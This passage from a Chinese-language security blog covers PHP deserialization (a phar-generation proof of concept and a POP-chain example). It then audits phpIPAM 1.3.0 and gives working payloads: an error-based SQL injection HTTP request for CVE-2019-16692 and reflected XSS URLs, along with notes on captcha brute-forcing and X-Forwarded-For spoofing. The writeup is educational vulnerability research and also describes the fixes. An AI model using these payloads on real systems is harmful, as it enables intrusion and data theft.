class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">MyClass</span></span>{<br> <span class="hljs-keyword">var</span> <span class="hljs-variable">$output</span>=<span class="hljs-string">'phpinfo();'</span>;<br>}<br><span class="hljs-variable">$o</span> = <span class="hljs-keyword">new</span> MyClass();<br><span class="hljs-variable">$filename</span> = <span class="hljs-string">'poc.phar'</span>;<span class="hljs-comment">// 生成phar文件时后缀必须为phar,否则程序无法运行</span><br>file_exists(<span class="hljs-variable">$filename</span>) ? unlink(<span class="hljs-variable">$filename</span>) : <span class="hljs-literal">null</span>;<br><span class="hljs-variable">$phar</span>=<span class="hljs-keyword">new</span> Phar(<span class="hljs-variable">$filename</span>);<br><span class="hljs-variable">$phar</span>->startBuffering();<br><span class="hljs-variable">$phar</span>->setStub(<span class="hljs-string">"GIF89a<?php __HALT_COMPILER(); ?>"</span>);<span class="hljs-comment">// 顺便伪造一个文件头,只要结尾是phar stub即可</span><br><span class="hljs-variable">$phar</span>->setMetadata(<span class="hljs-variable">$o</span>);<br><span class="hljs-variable">$phar</span>->addFromString(<span class="hljs-string">"foo.txt"</span>,<span class="hljs-string">"bar"</span>);<br><span class="hljs-variable">$phar</span>->stopBuffering();<br></code></pre></td></tr></table></figure><p>注意:要将php.ini中的<code>phar.readonly</code>选项设置为<code>Off</code>,否则无法生成phar文件</p><p>2)将phar文件上传到服务器,我这里懒得写上传了,直接放上去就是。而且我把文件后缀该成了jpg,这样基本就能绕过文件上传了</p><p>3)利用phar://协议读取文件触发反序列化</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php">http:<span class="hljs-comment">//phplearning.test:8888/test/test.php?filename=phar://poc.jpg</span><br></code></pre></td></tr></table></figure><img src="img/php反序列化漏洞/image-20210902165245380.png" alt="image-20210902165245380" style="zoom:50%;" /><h1 id="POP链构造"><a href="#POP链构造" class="headerlink" title="POP链构造"></a>POP链构造</h1><p>参考:<a href="https://bkfish.gitee.io/2020/01/04/pop%E9%93%BE/">https://bkfish.gitee.io/2020/01/04/pop%E9%93%BE/</a></p><p>面向属性编程(Property-Oriented Programing) 用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链</p><p><strong>ROP 链</strong>构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集。<strong>POP 链</strong>的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。</p><p>二进制中通常是由于内存溢出控制了指令执行流程,而反序列化过程就是控制代码执行流程的方法之一,前提:<code>进行反序列化的数据能够被用户输入所控制。</code></p><p>一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。</p><p>下面就用一个实例来暂时pop链的挖掘,下例比较简单,就不写poc了,单独做完一遍基本就能掌握一点挖掘pop链的感觉</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">start_gg</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$mod1</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$mod2</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">$this</span>->mod1->test1();<br> }<br>}<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Call</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$mod1</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$mod2</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test1</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">$this</span>->mod1->test2();<br> }<br>}<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">CallFunc</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$mod1</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$mod2</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__call</span>(<span class="hljs-params"><span class="hljs-variable">$test2</span>,<span class="hljs-variable">$arr</span></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-variable">$s1</span> = <span class="hljs-keyword">$this</span>->mod1;<br> <span class="hljs-variable">$s1</span>();<br> }<br>}<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">InvokeFunc</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$mod1</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$mod2</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__invoke</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">$this</span>->mod2 = <span class="hljs-string">"字符串拼接"</span>.<span class="hljs-keyword">$this</span>->mod1;<br> } <br>}<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ToStringFunc</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$str1</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$str2</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__toString</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">$this</span>->str1->get_flag();<br> <span class="hljs-keyword">return</span> <span class="hljs-string">"1"</span>;<br> }<br>}<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">GetFlag</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">get_flag</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">"flag:"</span>.<span class="hljs-string">"flag{test}"</span>;<br> }<br>}<br><span class="hljs-variable">$a</span> = <span class="hljs-variable">$_GET</span>[<span class="hljs-string">'string'</span>];<br>unserialize(<span class="hljs-variable">$a</span>);<br><span class="hljs-meta">?></span><br></code></pre></td></tr></table></figure><p>做完后总结下经验:在寻找pop链时先看两头,上面的例子中利用的终点明显是 <code>get_flag()</code>,终点没有在魔术方法中,需要寻找具有联系的魔术方法才能利用。而程序中的起点只有 <code>__destruct()</code> ,然后利用两头去寻找利用链就可以了,两个方向应该都还行</p><p>参考:</p><p>一篇文章带你深入理解漏洞之 PHP 反序列化漏洞:<a href="https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/">https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/</a></p><p>PHP反序列化由浅入深:<a href="https://xz.aliyun.com/t/3674">https://xz.aliyun.com/t/3674</a></p><p>详谈CTF中常出现的PHP反序列化漏洞:<a href="https://www.freebuf.com/articles/web/264740.html">https://www.freebuf.com/articles/web/264740.html</a></p><p>带你走进PHP session反序列化漏洞:<a href="https://xz.aliyun.com/t/6640">https://xz.aliyun.com/t/6640</a></p>]]></content>
<categories>
<category>web漏洞</category>
</categories>
<tags>
<tag>PHP</tag>
<tag>Web 漏洞</tag>
<tag>反序列化</tag>
</tags>
</entry>
<entry>
<title>PHPIPAM 代码审计</title>
<link href="/2021/09/phpipam/"/>
<url>/2021/09/phpipam/</url>
<content type="html"><![CDATA[<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>phpipam是一个开源Web IP地址管理应用程序(IPAM)。其目标是提供轻便,现代且有用的IP地址管理。它是基于PHP的应用程序,具有MySQL数据库后端,使用jQuery库,ajax和HTML5 / CSS3功能。</p><p>官方网站:<a href="https://phpipam.net/">https://phpipam.net/</a></p><p>项目代码地址:<a href="https://github.com/phpipam/phpipam">https://github.com/phpipam/phpipam</a></p><p>本文使用的版本是phpipam1.3.0,目前最新版本是php1.4.3,至于为什么选1.3,懂得都懂</p><p>本文挖的洞是参考官方修复文档做的,漏洞并不限于phpipam1.3.0</p><p>搭建好环境后可以修改系统语言,在账号修改处可以修改中文。还是很有必要哈哈哈:</p><img src="img/phpipam/image-20210610155008877.png" alt="image-20210610155008877" style="zoom:50%;" /><h1 id="登陆验证"><a href="#登陆验证" class="headerlink" title="登陆验证"></a>登陆验证</h1><p>做了一个登陆逻辑分析,好像也没什么用。。。</p><p><img src="img/phpipam/ipam.png" alt="ipam"></p><p>该网站基本都是后台网页,所以漏洞基本存在于后台,所以怎么突破前端验证才能利用这些漏洞。</p><p>该网站是有防爆账号密码的处理,当同一个ip登陆次数失败超过5次就需要输入验证码。但很傻的是验证码每次请求后不会刷新,那就可以用这个验证码进行爆破。</p><p>另外该网站验证的 ip 优先来自HTTP_X_FORWARDED_FOR,客户端可伪造。</p><p>functions/classes/class.User.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-number">1544</span>:<span class="hljs-keyword">private</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">block_get_ip</span> (<span class="hljs-params"></span>) </span>{<br> <span class="hljs-comment"># set IP</span><br> <span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_SERVER</span>[<span class="hljs-string">'HTTP_X_FORWARDED_FOR'</span>])) { <span class="hljs-keyword">$this</span>->ip = @<span class="hljs-variable">$_SERVER</span>[<span class="hljs-string">'HTTP_X_FORWARDED_FOR'</span>]; }<br> <span class="hljs-keyword">else</span> { <span class="hljs-keyword">$this</span>->ip = @<span class="hljs-variable">$_SERVER</span>[<span class="hljs-string">'REMOTE_ADDR'</span>]; }<br><span class="hljs-number">1548</span>:}<br></code></pre></td></tr></table></figure><h1 id="全局分析"><a href="#全局分析" class="headerlink" title="全局分析"></a>全局分析</h1><p>【系统默认开启报错显示】</p><p>functions/functions.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-number">10</span>:ini_set(<span class="hljs-string">'display_errors'</span>, <span class="hljs-number">1</span>);<br><span class="hljs-number">11</span>:ini_set(<span class="hljs-string">'display_startup_errors'</span>, <span class="hljs-number">1</span>);<br><span class="hljs-number">12</span>:<span class="hljs-keyword">if</span> (!<span class="hljs-variable">$debugging</span>) { error_reporting(E_ERROR ^ E_WARNING); }<br><span class="hljs-number">13</span>:<span class="hljs-keyword">else</span> { error_reporting(E_ALL ^ E_NOTICE ^ E_STRICT); }<br></code></pre></td></tr></table></figure><p>10-11 行通过运行时配置 php.ini 的配置项 display_errors 和 display_startup_errors ,这样程序会输出报错信息。</p><p>12-13 行通过 $debugging 值确定程序具体输出什么级别的报错信息(如果php.ini中报错信息被关闭,通过error_reporting函数也无法输出报错信息)</p><blockquote><p>display_startup_errors 主要指启动错误,如配置文件出现问题而报错</p></blockquote><p>这里都是打开报错提示的,如果存在sql注入就可能存在sql报错注入,不过开发者在程序上线时可能会把display_errors 和 display_startup_errors 设置为off,这个时候sql报错注入可能要转成盲注判断。</p><hr><p>【防御手段寻找】</p><p>全文似乎没有对<code>$_GET</code>,<code>$_POST</code>这些数据做统一过滤。</p><p>然后搜了sql,xss这些关键字,SQL主要是预编译,其中存在使用参数拼接了数据库表名的情况。另外在class.Common.php中找到一个去除标签的函数strip_input_tags(),但该函数只用于某些文件的$_POST变量传递的值</p><p>functions/classes/class.Common.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-number">524</span>-<span class="hljs-number">535</span><br><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">strip_input_tags</span> (<span class="hljs-params"><span class="hljs-variable">$input</span></span>) </span>{<br><span class="hljs-keyword">if</span>(is_array(<span class="hljs-variable">$input</span>)) {<br><span class="hljs-keyword">foreach</span>(<span class="hljs-variable">$input</span> <span class="hljs-keyword">as</span> <span class="hljs-variable">$k</span>=><span class="hljs-variable">$v</span>) {<br> <span class="hljs-variable">$input</span>[<span class="hljs-variable">$k</span>] = strip_tags(<span class="hljs-variable">$v</span>);<br> }<br>}<br><span class="hljs-keyword">else</span> {<br><span class="hljs-variable">$input</span> = strip_tags(<span class="hljs-variable">$input</span>);<br>}<br><span class="hljs-comment"># stripped</span><br><span class="hljs-keyword">return</span> <span class="hljs-variable">$input</span>;<br>}<br></code></pre></td></tr></table></figure><p>然后有些文件会对$_POST数据做如下处理</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs PHP"><span class="hljs-comment"># strip tags - XSS</span><br><span class="hljs-variable">$_POST</span> = <span class="hljs-variable">$User</span>->strip_input_tags (<span class="hljs-variable">$_POST</span>);<br></code></pre></td></tr></table></figure><h1 id="SQL-注入"><a href="#SQL-注入" class="headerlink" title="SQL 注入"></a>SQL 注入</h1><p><a href="https://github.com/phpipam/phpipam/issues/2738">https://github.com/phpipam/phpipam/issues/2738</a></p><p>这个漏洞还有cve编号,CVE-2019-16692</p><p>【注入】</p><p>影响版本:phpipam <= 1.4.0</p><p>app/admin/custom-fields/edit.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-number">36</span>:<span class="hljs-variable">$Admin</span>->validate_action (<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'action'</span>], <span class="hljs-literal">true</span>);<br><span class="hljs-number">43</span>:<span class="hljs-variable">$fieldval</span> = (<span class="hljs-keyword">array</span>) <span class="hljs-variable">$Tools</span>->fetch_full_field_definition(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'table'</span>], <span class="hljs-variable">$_POST</span>[<span class="hljs-string">'fieldName'</span>]);<br></code></pre></td></tr></table></figure><p>36行:会验证action参数,我们需要提交合法的action参数,否则会退出程序</p><p>43行:<code>$_POST['table']</code> 和 <code>$_POST['fieldName']</code> 直接传入函数中,在文件中也没有找到对$_POST数据的过滤,跟踪 fetch_full_field_definition() 函数</p><p>functions/classes/class.Tools.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-number">815</span>-<span class="hljs-number">823</span>:<br><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">fetch_full_field_definition</span> (<span class="hljs-params"><span class="hljs-variable">$table</span>, <span class="hljs-variable">$field</span></span>) </span>{<br><span class="hljs-comment"># escape field</span><br><span class="hljs-variable">$table</span> = <span class="hljs-keyword">$this</span>->Database->escape(<span class="hljs-variable">$table</span>);<br><span class="hljs-comment"># fetch</span><br> <span class="hljs-keyword">try</span> { <span class="hljs-variable">$field_data</span> = <span class="hljs-keyword">$this</span>->Database->getObjectQuery(<span class="hljs-string">"show full columns from `<span class="hljs-subst">$table</span>` where `Field` = ?;"</span>, <span class="hljs-keyword">array</span>(<span class="hljs-variable">$field</span>)); }<br><span class="hljs-keyword">catch</span> (<span class="hljs-built_in">Exception</span> <span class="hljs-variable">$e</span>) { <span class="hljs-keyword">$this</span>->Result->show(<span class="hljs-string">"danger"</span>, <span class="hljs-variable">$e</span>->getMessage(), <span class="hljs-literal">false</span>);<span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>; }<br><span class="hljs-comment"># result</span><br> <span class="hljs-keyword">return</span>(<span class="hljs-variable">$field_data</span>);<br>}<br></code></pre></td></tr></table></figure><p>$table 在sql语句中通过双引号解析出值,位于反引号中,反引号一般不会被过滤。$field 则是被预编译处理。</p><p>其中$table有被eacape()函数处理过,追踪下这个函数。</p><p>functions/classes/class.PDO.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-number">205</span>-<span class="hljs-number">220</span><br><span class="hljs-keyword">public</span> <span class="hljs-built_in">static</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">unquote_outer</span>(<span class="hljs-params"><span class="hljs-variable">$str</span></span>) </span>{<br><span class="hljs-variable">$len</span> = strlen(<span class="hljs-variable">$str</span>);<br><br><span class="hljs-keyword">if</span> (<span class="hljs-variable">$len</span>><span class="hljs-number">1</span>) {<br><span class="hljs-keyword">if</span> (<span class="hljs-variable">$str</span>[<span class="hljs-number">0</span>] == <span class="hljs-string">"'"</span> && <span class="hljs-variable">$str</span>[<span class="hljs-variable">$len</span>-<span class="hljs-number">1</span>] == <span class="hljs-string">"'"</span>) {<br><span class="hljs-keyword">return</span> substr(<span class="hljs-variable">$str</span>, <span class="hljs-number">1</span>, -<span class="hljs-number">1</span>);<br>} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (<span class="hljs-variable">$str</span>[<span class="hljs-number">0</span>] == <span class="hljs-string">"'"</span>) {<br><span class="hljs-keyword">return</span> substr(<span class="hljs-variable">$str</span>, <span class="hljs-number">1</span>);<br>} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (<span class="hljs-variable">$str</span>[<span class="hljs-variable">$len</span>-<span class="hljs-number">1</span>] == <span class="hljs-string">"'"</span>) {<br><span class="hljs-keyword">return</span> substr(<span class="hljs-variable">$str</span>, <span class="hljs-number">0</span>, -<span class="hljs-number">1</span>);<br>}<br>} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (<span class="hljs-variable">$len</span>><span class="hljs-number">0</span>) {<br><span class="hljs-keyword">if</span> (<span class="hljs-variable">$str</span>[<span class="hljs-number">0</span>] == <span class="hljs-string">"'"</span>) {<br><span class="hljs-keyword">return</span> <span class="hljs-string">''</span>;<br>}<br>}<br><span class="hljs-number">278</span>-<span class="hljs-number">282</span>:<br><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">escape</span>(<span class="hljs-params"><span class="hljs-variable">$str</span></span>) </span>{<br><span class="hljs-keyword">if</span> (!<span class="hljs-keyword">$this</span>->isConnected()) <span class="hljs-keyword">$this</span>->connect();<br><br><span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>->unquote_outer(<span class="hljs-keyword">$this</span>->pdo->quote((<span class="hljs-keyword">string</span>)<span class="hljs-variable">$str</span>));<br>}<br></code></pre></td></tr></table></figure><p>$table 首先会经过 pdo->quote() 首尾被加上引号,并对其中的特殊字符转义</p><p>然后unquote_outer() 会把首尾的引号去掉</p><p>这是什么迷惑操作,难道不能直接使用addslashes()这种函数过滤吗?</p><p>这里sql注入我们只需要闭合反引号就可以了,而反引号不会被上面的操作过滤掉,所以这里存在sql注入漏洞</p><p>所以最终利用的POC:</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/app/admin/custom-fields/edit.php</span> <span class="hljs-meta">HTTP/1.1</span><br><span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>phpipam.test:8888<br><span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>67<br><span class="hljs-attribute">Accept</span><span class="hljs-punctuation">: </span>*/*<br><span class="hljs-attribute">X-Requested-With</span><span class="hljs-punctuation">: </span>XMLHttpRequest<br><span class="hljs-attribute">User-Agent</span><span class="hljs-punctuation">: </span>Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0<br><span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/x-www-form-urlencoded; charset=UTF-8<br><span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>http://phpipam.test:8888<br><span class="hljs-attribute">Referer</span><span class="hljs-punctuation">: </span>http://phpipam.test:8888/?page=login<br><span class="hljs-attribute">Accept-Encoding</span><span class="hljs-punctuation">: </span>gzip, deflate<br><span class="hljs-attribute">Accept-Language</span><span class="hljs-punctuation">: </span>zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6<br><span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>phpipam=82d83ea690b322af6fb6a80e93a166cd<br><span class="hljs-attribute">Connection</span><span class="hljs-punctuation">: </span>close<br><br><span class="pgsql">action=<span class="hljs-keyword">add</span>&table=users`<span class="hljs-keyword">where</span> <span class="hljs-number">1</span>=(updatexml(<span class="hljs-number">1</span>,concat(<span class="hljs-number">0x3a</span>,(<span class="hljs-keyword">select</span> <span class="hljs-keyword">user</span>())),<span class="hljs-number">1</span>))#`</span><br></code></pre></td></tr></table></figure><img src="img/phpipam/image-20210609193215564.png" alt="image-20210609193215564" style="zoom:50%;" /><hr><p>【修复情况】</p><p>下载的 phpipam1.4.2 源代码查看修复情况</p><p>functions/classes/class.PDO.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-number">294</span>-<span class="hljs-number">303</span>:<br><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">escape</span>(<span class="hljs-params"><span class="hljs-variable">$str</span></span>) </span>{<br><span class="hljs-variable">$str</span> = (<span class="hljs-keyword">string</span>) <span class="hljs-variable">$str</span>;<br><span class="hljs-keyword">if</span> (strlen(<span class="hljs-variable">$str</span>) == <span class="hljs-number">0</span>) <span class="hljs-keyword">return</span> <span class="hljs-string">""</span>;<br><br><span class="hljs-keyword">if</span> (!<span class="hljs-keyword">$this</span>->isConnected()) <span class="hljs-keyword">$this</span>->connect();<br><br><span class="hljs-comment">// SQL Injection - strip backquote character</span><br><span class="hljs-variable">$str</span> = str_replace(<span class="hljs-string">'`'</span>, <span class="hljs-string">''</span>, <span class="hljs-variable">$str</span>);<br><span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>->unquote_outer(<span class="hljs-keyword">$this</span>->pdo->quote(<span class="hljs-variable">$str</span>));<br>}<br></code></pre></td></tr></table></figure><p>可以看到这里使用了 str_replace() 函数把反引号直接去除了</p><h1 id="XSS"><a href="#XSS" class="headerlink" title="XSS"></a>XSS</h1><p>【注入】</p><p>影响版本:phpipam <= 1.3.1</p><p>app/tools/mac-lookup/index.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-number">15</span>:<input <span class="hljs-class"><span class="hljs-keyword">class</span>="<span class="hljs-title">search</span> <span class="hljs-title">input</span>-<span class="hljs-title">md</span> <span class="hljs-title">form</span>-<span class="hljs-title">control</span>" <span class="hljs-title">name</span>="<span class="hljs-title">mac</span>" <span class="hljs-title">placeholder</span>="<?<span class="hljs-title">php</span> <span class="hljs-title">print</span> <span class="hljs-title">_</span>('<span class="hljs-title">MAC</span> <span class="hljs-title">address</span>'); ?>" <span class="hljs-title">value</span>='<?<span class="hljs-title">php</span> <span class="hljs-title">print</span> @$<span class="hljs-title">_GET</span>['<span class="hljs-title">mac</span>']; ?>' <span class="hljs-title">type</span>="<span class="hljs-title">text</span>" <span class="hljs-title">autofocus</span>="<span class="hljs-title">autofocus</span>" <span class="hljs-title">style</span>='<span class="hljs-title">width</span>:250<span class="hljs-title">px</span>;'></span><br><span class="hljs-class">30:<span class="hljs-title">if</span> (<span class="hljs-title">strlen</span>(@$<span class="hljs-title">_GET</span>['<span class="hljs-title">mac</span>'])>0) </span>{ <span class="hljs-keyword">include</span>(<span class="hljs-string">'results.php'</span>); }<br><span class="hljs-number">31</span>:<span class="hljs-keyword">else</span> { <span class="hljs-keyword">include</span>(<span class="hljs-string">'tips.php'</span>);}<br></code></pre></td></tr></table></figure><p>$_GET[‘mac’] 传入的参数并没有被过滤,直接输出到了网页中</p><p>跟踪results.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-number">6</span>:<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'mac'</span>] = trim(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'mac'</span>]);<br><span class="hljs-number">26</span>:<span class="hljs-keyword">print</span> <span class="hljs-string">"MAC: "</span>.<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'mac'</span>];<br></code></pre></td></tr></table></figure><p>同样也没有对 $_GET[‘mac’] 做xss过滤,这两个地方都能触发xss漏洞,利用poc如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs php">http:<span class="hljs-comment">//phpipam.test:8888/tools/mac-lookup/?mac='onclick alert(1)</span><br>http:<span class="hljs-comment">//phpipam.test:8888/tools/mac-lookup/?mac=<script>alert(1)</script></span><br></code></pre></td></tr></table></figure><hr><p>【修复情况】</p><p>app/tools/mac-lookup/index.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-number">15</span>:<input <span class="hljs-class"><span class="hljs-keyword">class</span>="<span class="hljs-title">search</span> <span 